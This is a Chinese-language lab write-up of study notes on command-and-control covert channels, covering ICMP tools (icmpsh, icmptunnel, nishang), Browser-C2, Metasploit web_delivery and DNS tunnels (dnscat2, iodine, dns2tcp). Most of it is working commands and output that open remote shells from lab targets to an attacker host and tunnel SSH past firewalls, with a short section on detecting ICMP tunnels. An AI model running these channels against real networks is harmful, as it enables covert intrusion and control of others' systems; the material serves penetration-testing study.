0%

Command and Control

Command and Control

根据pentestlab.blog 里面command-and-control tag下的一个汇总学习,学习下不同协议、不同方法的cc方式。

ICMP

实际环境的内部网络的大多数系统都在防火墙和代理之后,以此来控制出入的流量。防火墙可以基于协议、端口进行连接阻断,ICMP 流量大多数时候是被允许的。因此,在某些场景下可以使用ICMP协议来与远程主机通信以绕过防火墙限制,并在目标主机上远程执行命令。

icmp协议

icmp 基于 ip 协议工作,同时在经典分层体系中处于网络层协议,因此也不会有端口这个概念。icmp在日常最常见的体现就是ping命令,在网络环境中可以简单的通过ping某台主机看他的回复来确定网络是否可达。

icmp协议所携带的data内容在不同系统有所区别,windows传输的是abcdefghijklmnopqrstuvwabcdefghi,linux固定传输的是 !”#$%&’()+,-./01234567,icmp隐蔽隧道的原理就是替换data部分并按照规定对数据包进行封装。原理大概如上,接下来就是看看相关工具的使用。

icmpsh

icmpsh是经典工具之一,在github看到提交都快10年前的代码了,同时sqlmap目前也已经实现了这个工具的功能,可以用–os-pwn来用。我这里下载了之后电脑里的各个杀毒就轮番上阵,还得信任下才可以。

工具对master要求不高,C, Perl or Python都可以,目标target目前只支持windows,但是运行并不需要administrator权限。

首先将工具下载到kali,关闭掉linux的icmp回应,打开对应设置为0即可

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

然后在kali运行命令:

1
python icmpsh_m.py 192.168.1.205 192.168.1.91

第一个IP是运行py的攻击者主机,第二个ip则是会收到ping命令的服务器,在实际情况下,内网主机通过几层网络转发之后实际ip可能是某个出口地址,可以提起ping下拿到内网主机的出网地址

在攻击主机运行exe:

1
icmpsh.exe -t 192.168.1.91

用wireshark抓包看了下,传输的命令在data是明文的:

image-20201201142733040

PiX-C2

这个工具是用python写的,整体使用前提条件相比要多很多,需要在client有admin/root权限才可以。放地址:https://github.com/nocow4bob/PiX-C2

PowerShell nishang

server端还是跟前面icmpsh差不多,直接用命令监听起来:

1
python icmpsh_m.py 192.168.1.205 192.168.1.91

client端, PowerShellIcmp 到这里下载对应的ps1文件即可,

1
2
PS E:\tools\Exploit\ps1> Import-Module .\Invoke-PowerShellIcmp.ps1
PS E:\tools\Exploit\ps1> Invoke-PowerShellIcmp 192.168.1.91

执行效果跟前面一样,只是速度不如exe来的快。

icmptunnel

下载,编译

1
2
3
git clone https://github.com/jamesbarlow/icmptunnel.git  
cd icmptunnel
make

在攻击端开启服务器模式:

1
2
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s

然后另开一个终端,执行命令

1
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)

被攻击者

1
2
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.76 # 攻击者ip

连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令, 指定IP地址为10.0.0.2

1
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

此时建立了icmp隧道,在服务器端通过ssh连接被攻击对象

prism

在linux环境下,prism使用更方便,前提是要有root权限。下载地址:https://github.com/andreafabrizi/prism 。按照指引去编译安装使用即可,不实操了。

ptunnel

该工具kali自带了,不实操了。

防御

在实际生产环境中,icmp被使用的场景多是ping和tracert命令,这些命令实际封装的数据包是有特征的,那么只需要对这些数据包建立特征,只有符合特征的才允许通过即可进行一定的防御;同时可以检测同一来源 ICMP 数据包的数量,使用 ICMP 隧道的浏览器在同一时间会产生大量的icmp 数据包。

参考链接

https://xz.aliyun.com/t/7875

https://zhuanlan.zhihu.com/p/41154036

https://pentestlab.blog/2017/07/28/command-and-control-icmp/

Browser

浏览器远控,通过浏览器对远程主机进行控制。

Browser-C2

客户端

github下载该工具之后先按照编译依赖:

1
2
go get -u github.com/gorilla/mux
go get -u github.com/chzyer/readline

cd到agent目录下,在go代码中修改C2Url为实际c2地址之后编译:

1
go build agent.go

编译完成后会生成一个可执行文件,不同os需要在不同环境下编译并发送给被控端。

服务端

到static目录下,修改第二行的url为实际c2地址,然后回到项目的主目录编译

1
go build

服务端运行编译生成的./Browser-C2开启监听

客户端点击下生成的agent可执行文件即可打开一个浏览器页面,同时server收到回话信息,使用use进入会话执行命令:

image-20201201173319757

看了下本地的进程发现会占用8081,端口占用实际可在jquery.js里面进行修改:

1
2
3
4
5
6
E:\tools\Exploit>tasklist|findstr agent
agent.exe 31184 Console 1 8,184 K

E:\tools\Exploit>netstat -ano|findstr 31184
TCP 127.0.0.1:8081 0.0.0.0:0 LISTENING 31184
TCP 127.0.0.1:8081 127.0.0.1:1072 ESTABLISHED 31184

这里获取到的会话可执行的命令十分有限,试了执行dir都不行,实际使用还得根据情况把shell权限提升下。

msf

use multi/script/web_delivery ,设置好对应的参数即可

image-20201201183557031

在客户端命令行运行python命令即可。这里也可以尝试使用regsvr32,但是本地测试会触发杀毒。

参考链接

https://pentestlab.blog/2018/06/06/command-and-control-browser/

https://github.com/0x09AL/Browser-C2

DNS

dns协议

DNS协议是用来将域名转换为IP地址,可以理解为域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。

域名可以划分为各个子域,子域还可以继续划分为子域的子域,这样就形成了顶级域、二级域、三级域等,如xxx.yyy.zzz.com 就是个4级域名,域名是分层结构,域名服务器也是对应的层级结构,如根域名服务器、顶级域名服务器、权限域名服务器 、本地域名服务器。

在企业中,除了对外提供服务的公共域名外,还有对内提供服务的内网域名,因此dns协议在内外网中可以算是畅通无阻的一个协议,猥琐的红队就又找到了一个可以利用的点了。

dns隐蔽隧道

DNS隐蔽隧道主要是封装其他协议流量来完成传输。目前来看,基于DNS隧道的木马分成两种类型:IP Over DNS(允许通过隐蔽隧道传输IP数据包)和TCP Over DNS(提供单一的TCP通信的隐蔽隧道)两大类。

IP Over DNS 是将IP数据包封装到DNS报文的构造技术,在构建DNS隐蔽隧道时,通信双方需要解决数据分片,封装,重组等问题。IP Over DNS通用使用TUN/TAP设备(操作系统内核中的虚拟网络设备)将数据包重定向到指定的虚拟网卡中来解决发送端数据分片和接受数据的问题。

DNS域名中的字符限定在字母a-z,A-Z,0-9以及’-’共63个字符,一般采用base32,base64来封装要传输的信息,域名长度最大为255。每一个子域最长为63个字符。发送端将隐蔽数据信息切分并且编码后封装到DNS报文域名中进行传输,接收端收到DNS报文后提取域名中的隐蔽信息字段进行解码重组还原得到IP报文。主要的工具有DNSCat,Iodine等。

TCP Over DNS只有将TCP作为传输协议封装在隐蔽隧道中。由于DNS采取的是不可靠的UDP协议,为了保证传输过程中的数据不丢失不乱码,还要兼顾传输效率,保证通道稳定可用。一般利用SSH的端口重定向技术或者SOCKS代理技术将TCP信道重定向到DNS通道中来。除此之外,TCP Over DNS涉及的编码,数据分割,重组和IP Over DNS类似。主要的工具就是DNS2TCP。

除了上面的分类之外,各种技术的连接一般也支持2种连接方式,直接连接和中转连接。直接连接即c/s 2侧可以直接通信,使用dns tunnel可能只是为了绕过协议或端口的限制,速度快,限制多;中转连接则是通过dns的迭代查询来实现通信,更加隐蔽但是因为通信的转发过程,速度会比直接连接慢很多。

dnscat2

Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道,基于C/S架构,Client位于感染主机,而Server位于权威域名服务器上。

server端

启动server,可以发现dnscat2打印了一堆东西,其中还有提示客户端建立隧道的2个命令,一个是通过dns查询的连接命令,一个是不通过域名直接通过dns连接的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/Documents/exploit/dnscat2-master/server# ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.91" --no-cache

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 192.168.1.91:53
[domains = pentestlab]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

./dnscat --secret=c7ab0b858ef75f87097680cdc6965578 pentestlab

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --secret=c7ab0b858ef75f87097680cdc6965578

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

client

这里下载windows这边使用的编译好的文件即可,运行命令:

1
dnscat2-v0.07-client-win32.exe --dns server=192.168.1.91,port=53 --secret=c7ab0b858ef75f87097680cdc6965578

会话

client 执行完命令之后就可以与server建立连接了,server端会提示 New window created: 1 ,这个id有点类似于msf的会话,使用session命令就可以查看当前建立的所有连接,session -i 1 即进入会话1。这里的session有自有的默认命令,并不是直接支持shell命令,要想运行shell还得手动输入shell,重新创建一个会话才可以,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
command (AAAA) 2> shell
Sent request to execute a shell
command (AAAA) 2> New window created: 3
Shell session created!

command (AAAA) 2> session -i 3
New window created: 3
history_size (session) => 1000
Session 3 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [�汾 10.0.17763.973]
(c) 2018 Microsoft Corporation����������Ȩ����

D:\user\downloads\dnscat2-v0.07-client-win32>
cmd.exe (AAAA) 3> whoami
cmd.exe (AAAA) 3> whoami
AAAA

除此之外还可以进行文件的上传和下载等多个功能,不一一展示了。

dnscat powershell

下载地址 直接在client运行以下命令即可:

1
2
PS E:\tools\Exploit\ps1> Import-Module .\dnscat2.ps1
PS E:\tools\Exploit\ps1> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.91

iodline

server端

1
root@kali:~# iodined -f -c -P password 1.1.1.1 tunneldomain.com

client端

1
root@kali:~# iodine -fP password tunneldomain.com

双方建立连接之后 ifconfig 都会出现一个新的虚拟网卡,通信时以其对应的ip连接即可。

dns2tcp

server端

IP地址:192.168.1.91

安装完成之后首先看下本地的配置文件/etc/dns2tcpd.conf

1
2
3
4
5
6
listen = 192.168.1.91 # 监听IP
port = 53
user = nobody
chroot = /tmp
domain = test.domain # dns域名
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25 # 监听的服务及端口

resource参数格式为::: 其中name为本地服务名称,ip如果是本机为127.0.0.1, 端口则为服务所监听的端口,或者说服务端通过该端口将流量转发给目标服务。

启动服务端,-f指定配置文件路径,-F表示前台运行,-d表示调试信息,越低信息越全

1
dns2tcpd -f dns2tcpd.conf -F -d 2

client端

IP地址:192.168.1.92

启动,-r指定使用的服务,这个服务必须是服务器端在监听的服务,-z指定dns域名,后接的ip可不写,-l指定本地监听段口,-d表示调试信息

1
dns2tcpc -r ssh -z test.domain 192.168.1.91 -l 66 -d 2

客户端再开一个shell窗口,运行ssh服务走本地监听端口

1
ssh 127.0.0.1 -l root -p 66

输入server端的密码即可完成dns隧道的ssh连接。

Gmail

感觉国内适用性不高,放个链接 https://pentestlab.blog/2017/08/03/command-and-control-gmail/